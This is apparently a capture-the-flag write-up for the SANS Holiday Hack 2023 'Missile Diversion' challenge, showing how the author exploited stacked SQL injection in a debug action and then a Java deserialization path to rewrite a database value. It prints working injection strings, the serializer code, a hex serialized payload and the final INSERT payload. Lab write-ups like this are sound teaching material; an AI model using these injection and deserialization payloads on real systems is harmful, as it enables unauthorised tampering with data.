SANS Holiday Hack 2023
  • ๐ŸŒดOverview
  • ๐Ÿ†™Linux PrivEsc
  • ๐ŸƒNa'an
  • ๐ŸŽฃPhish Detection Agency
  • ๐Ÿ˜ผHashcat
  • ๐ŸงElf Hunt
  • ๐ŸšCertificate SSHenanigans
  • ๐Ÿ“’Active Directory
  • ๐ŸšชSpace Island Door Access Speaker
  • ๐Ÿ“ธCamera Access
  • ๐Ÿš€Missile Diversion
  • ๐Ÿดโ€โ˜ ๏ธI'm Gonna be King of the Pirates!
Powered by GitBook
On this page
  • Objective
  • Solution
  • SQL Injection
  • Coffee & Cereal (Java Serialized Objects)

Missile Diversion

Location - Space Island: Zenith SGS

PreviousCamera AccessNextI'm Gonna be King of the Pirates!

Last updated 1 year ago

Prerequisites
  • Completed Camera Access & associated prerequisites (tis the last story mission)

Objective

Reaim the missile so that it flies into the Sun.

Solution

SQL Injection

The first thing we need to do is similar to Camera Access: Turn on the missile app. After we do this, we can see that there is a debug action that we can use. With some testing on the action (we see that it returns the MariaDB version), we find that we can inject SQL into the application by ending the previous query with a ";" and then adding our own.

We can check our permissions for various tables by submitting the query "; show grants" within the debug action.

So, we know that there are the following target tables: pointing_mode, pointing_mode_to_str, and satellite_query. We can further enumerate the database tables by using the SQL injection vulnerability. A goal of changing the pointing mode to 1 in the pointing_mode table is identified by referencing it with the pointing_mode_to_str table. When we select * from satellite_query, we see what appears to be a serialized Java object and the source code for this File Folder Utility.

Tip

If you are struggling to copy the code from the Docker container, I ran a Wireshark packet capture while getting the parameter value. Then, I was able to copy that packet capture from the Docker Container to my host VM in order to Follow the TCP stream & copy/paste the code to a file.

import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}

Coffee & Cereal (Java Serialized Objects)

From the source code, we can see that this utility uses a serialized Java object that contains a string, and two Boolean properties. Reading through the code, and thinking about our context, we can identify a goal of trying to reach the conditional statement that allows us to update values in the database. Our objective here is to point the missile at the Sun instead of Earth. So, we can plan to update the value for id=1 in the pointing_mode table to 1.

In order to do this, we need to understand what input this utility expects. We need a serialized object that contains our UPDATE SQL query, and two Boolean value properties that equal true. I am not as familiar with Java, so I used ChatGPT to assist in code generation for this payload. I used the query: "how can I create a serialized java object that as input for the following code will trigger the isUpdate conditional to update MySQL database?" I received the following code, which upon review appeared to make sense for this situation. HOWEVER, the original code ChatGPT gave me had isQuery set to false. This is incorrect; we need to set both the boolean values to true.

// SerializeObject.java
import java.io.*;

public class SerializeObject {
    public static void main(String[] args) {
        // Create an instance with the parameters that trigger the update
        SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility(
                "UPDATE your_table SET your_column = 'new_value' WHERE your_condition",
                true,  // isQuery originally was set to false
                true    // isUpdate
        );

        // Serialize the object
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serializedObject.ser"))) {
            oos.writeObject(utility);
            System.out.println("Object serialized successfully.");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
โ”Œโ”€โ”€(stitchใ‰ฟsnore)-[~/newapp]
โ””โ”€$ javac -cp gson-2.10.1.jar SatelliteQueryFileFolderUtility.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
                                                                                                                                                              
โ”Œโ”€โ”€(stitchใ‰ฟsnore)-[~/newapp]
โ””โ”€$ javac SerializeObject.java                                    
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
                                                                                                                                                              
โ”Œโ”€โ”€(stitchใ‰ฟsnore)-[~/newapp]
โ””โ”€$ java SerializeObject && xxd -p serializedObject.ser | tr -d "\n"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Object serialized successfully.
aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174003855504441544520706f696e74696e675f6d6f646520534554206e756d65726963616c5f6d6f6465203d2031205748455245206964203d2031                                                                                                                                                              

Once we have our payload, we can construct the necessary SQL statement to get it into the DB for deserialization. Our user has insert ability into the satellite_query table, which is useful for this:

;INSERT INTO satellite_query VALUES ('80', UNHEX('aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174003855504441544520706f696e74696e675f6d6f646520534554206e756d65726963616c5f6d6f6465203d2031205748455245206964203d2031'), '')

And that's it! Yay, you saved Earth!

First, we need to compile the SatelliteQueryFileFolderUtility class. I needed to grab the to do so. Then, compile the SerializeObject code provided by ChatGPT. This produces a serialized Java object named "serializedObject.ser". To send our payload to the application, we convert it to hex and remove new lines.

gson library
๐Ÿš€
Checking Permissions
Page cover image